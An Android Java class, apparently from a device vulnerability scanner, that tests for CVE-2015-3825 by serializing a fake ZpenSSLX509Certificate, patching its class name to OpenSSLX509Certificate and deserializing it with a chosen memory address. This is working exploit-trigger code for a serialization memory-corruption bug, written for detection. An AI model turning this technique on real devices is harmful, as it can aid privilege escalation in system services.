package fuzion24.device.vulnerability.vulnerabilities.framework.serialization;
import android.content.Context;
import android.os.Build;
import android.util.Log;

import com.android.org.conscrypt.ZpenSSLX509Certificate;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.ObjectStreamClass;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;


//Some code was borrowed from AOSP
/*
* Copyright 2015 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
*      http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import fuzion24.device.vulnerability.util.CPUArch;
import fuzion24.device.vulnerability.vulnerabilities.VulnerabilityTest;

/**
 * Created by fuzion24 on 8/25/15.
 */


/*
Article:
https://securityintelligence.com/one-class-to-rule-them-all-new-android-serialization-vulnerability-gives-underprivileged-apps-super-status/
Paper:
https://www.usenix.org/system/files/conference/woot15/woot15-paper-peles.pdf
Patches:
https://android.googlesource.com/platform/external/conscrypt/+/cb573b28f1c0ec2456682569bd254cb34815659a%5E%21/#F0

 */
public class OpenSSLTransientBug implements VulnerabilityTest {

    static {
        System.loadLibrary("x509serializationhelper");
    }

    private native long getPositiveIntLocation();

    private static final String TAG = "openSSLSerializationBug";
    @Override
    public String getCVEorID() {
        return "CVE-2015-3825";
    }

    @Override
    public List<CPUArch> getSupportedArchitectures() {
        ArrayList<CPUArch> archs = new ArrayList<CPUArch>();
        archs.add(CPUArch.ARM);
        archs.add(CPUArch.ARM7);
        archs.add(CPUArch.ARM8);
        return archs;
    }

    @Override
    public boolean isVulnerable(Context context) throws Exception {

        /*
             AOSP switched from bouncy castle to conscrypt in 4.4
             This can be validated by looking at the preloaded classes:
             https://github.com/android/platform_frameworks_base/blob/jb-mr2-release/preloaded-classes
             https://github.com/android/platform_frameworks_base/blob/kitkat-release/preloaded-classes
             Notice that conscrypt classes exist in KitKat 4.4 SDK 19
             but not in Jellybean 4.3 MR SDK 18
         */
        
        if(Build.VERSION.SDK_INT < Build.VERSION_CODES.KITKAT){
            return false;
        }

        Class openSSLX509CertificateClass = Class.forName("com.android.org.conscrypt.OpenSSLX509Certificate");

        ObjectStreamClass clDesc = ObjectStreamClass.lookup(openSSLX509CertificateClass);

        if (clDesc == null) {
            //TODO this is bad
            Log.d(TAG, "clDESC is null");
            throw new Exception("clDesc is null for OpenSSLECPrivateKey");
        }

        // Set our fake class's serialization UID.
        Field targetUID = ZpenSSLX509Certificate.class.getDeclaredField("serialVersionUID");
        targetUID.setAccessible(true);
        targetUID.set(null, clDesc.getSerialVersionUID());


        final byte[] impostorBytes;
        // Serialization
        {
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            long decrementAddress = getPositiveIntLocation();
            Log.d(TAG, "Decrement address: " + Long.toHexString(decrementAddress));
            oos.writeObject(new ZpenSSLX509Certificate(decrementAddress - 0x10));
            oos.close();
            impostorBytes = baos.toByteArray();
        }

        // Fix class name
        {
            boolean fixed = false;
            for (int i = 0; i < impostorBytes.length - 4; i++) {
                if (impostorBytes[i] == 'Z' && impostorBytes[i + 1] == 'p'
                        && impostorBytes[i + 2] == 'e' && impostorBytes[i + 3] == 'n') {
                    impostorBytes[i] = 'O';
                    fixed = true;
                    break;
                }
            }
        }

        // Deserialization
        {
            ByteArrayInputStream bais = new ByteArrayInputStream(impostorBytes);
            ObjectInputStream ois = new ObjectInputStream(bais);
            Object cert = ois.readObject();
            ois.close();
            Method m = openSSLX509CertificateClass.getDeclaredMethod("getContext");
            m.setAccessible(true);
            long ctx = (long) m.invoke(cert);
            if(ctx == 0L){
                return false;
            }
        }
            return true;
    }
}
